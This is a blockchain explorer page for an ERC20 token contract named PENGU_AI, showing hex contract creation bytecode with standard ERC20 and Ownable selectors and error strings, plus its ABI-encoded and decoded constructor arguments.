0000000000000000000000000000000000000000000000000000000000000000002400000000000000000000000000000000000000000000000000000000000000000000000000000000715018a500000000000000000000000000000000000000000000000000000000a457c2d600000000000000000000000000000000000000000000000000000000dd62ed3d00000000000000000000000000000000000000000000000000000000dd62ed3e00000000000000000000000000000000000000000000000000000000f2fde38b00000000000000000000000000000000000000000000000000000000a457c2d700000000000000000000000000000000000000000000000000000000a9059cbb00000000000000000000000000000000000000000000000000000000715018a6000000000000000000000000000000000000000000000000000000008da5cb5b0000000000000000000000000000000000000000000000000000000095d89b410000000000000000000000000000000000000000000000000000000023b872dc000000000000000000000000000000000000000000000000000000003950935000000000000000000000000000000000000000000000000000000000395093510000000000000000000000000000000000000000000000000000000070a082310000000000000000000000000000000000000000000000000000000023b872dd00000000000000000000000000000000000000000000000000000000313ce5670000000000000000000000000000000000000000000000000000000006fdde0300000000000000000000000000000000000000000000000000000000095ea7b30000000000000000000000000000000000000000000000000000000018160ddd4f776e61626c653a206e6577206f776e657220697320746865207a65726f20616464726573730000000000000000000000000000000000000000000000000000000000000000000000000000000000000000008400000080000000000000000000000000000000000000000000000000000000200000008000000000000000000000000000000000000000000000000000000020000000000000000000000000207a65726f00000000000000000000000000000000000000000000000000000045524332303a2064656372656173656420616c6c6f77616e63652062656c6f77000000000000000000000000000000000000008400000000000000000000000050454e47554149000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000c000000000000000004f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657200000000000000000000000000000000000000640000008000000000000000000000000000000000000000000000000000000000000000000de0b6b3a764000050454e47555f4149000000000000000000000000000000000000000000000000ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925737300000000000000000000000000000000000000000000000000000000000045524332303a20617070726f766520746f20746865207a65726f206164647265726573730000000000000000000000000000000000000000000000000000000045524332303a20617070726f76652066726f6d20746865207a65726f20616464616c616e6365000000000000000000000000000000000000000000000000000045524332303a207472616e7366657220616d6f756e7420657863656564732062647265737300000000000000000000000000000000000000000000000000000045524332303a207472616e736665722066726f6d20746865207a65726f20616445524332303a207472616e7366657220616d6f756e74207a65726f00000000000a388415bbedfe348874a17157170bd042811f44dc828f730955ee5811892617
Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)
0000000000000000000000000000000000000000000000000000000000000060000000000000000000000000000000000000000980683bd6c6800cefd13d9931000000000000000000000000000000000000000000000000089a7f9b1129bd52000000000000000000000000000000000000000000000000000000000000000850454e47555f4149000000000000000000000000000000000000000000000000
-----Decoded View---------------
Arg [0] : name_ (string): PENGU_AI
Arg [1] : symbol_ (uint256): 752793554752280296296424511793
Arg [2] : decimals_ (uint256): 619948202701471058
-----Encoded View---------------
5 Constructor Arguments found :
Arg [0] : 0000000000000000000000000000000000000000000000000000000000000060
Arg [1] : 000000000000000000000000000000000000000980683bd6c6800cefd13d9931
Arg [2] : 000000000000000000000000000000000000000000000000089a7f9b1129bd52
Arg [3] : 0000000000000000000000000000000000000000000000000000000000000008
Arg [4] : 50454e47555f4149000000000000000000000000000000000000000000000000
[ Download: CSV Export ]
[ Download: CSV Export ]
A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.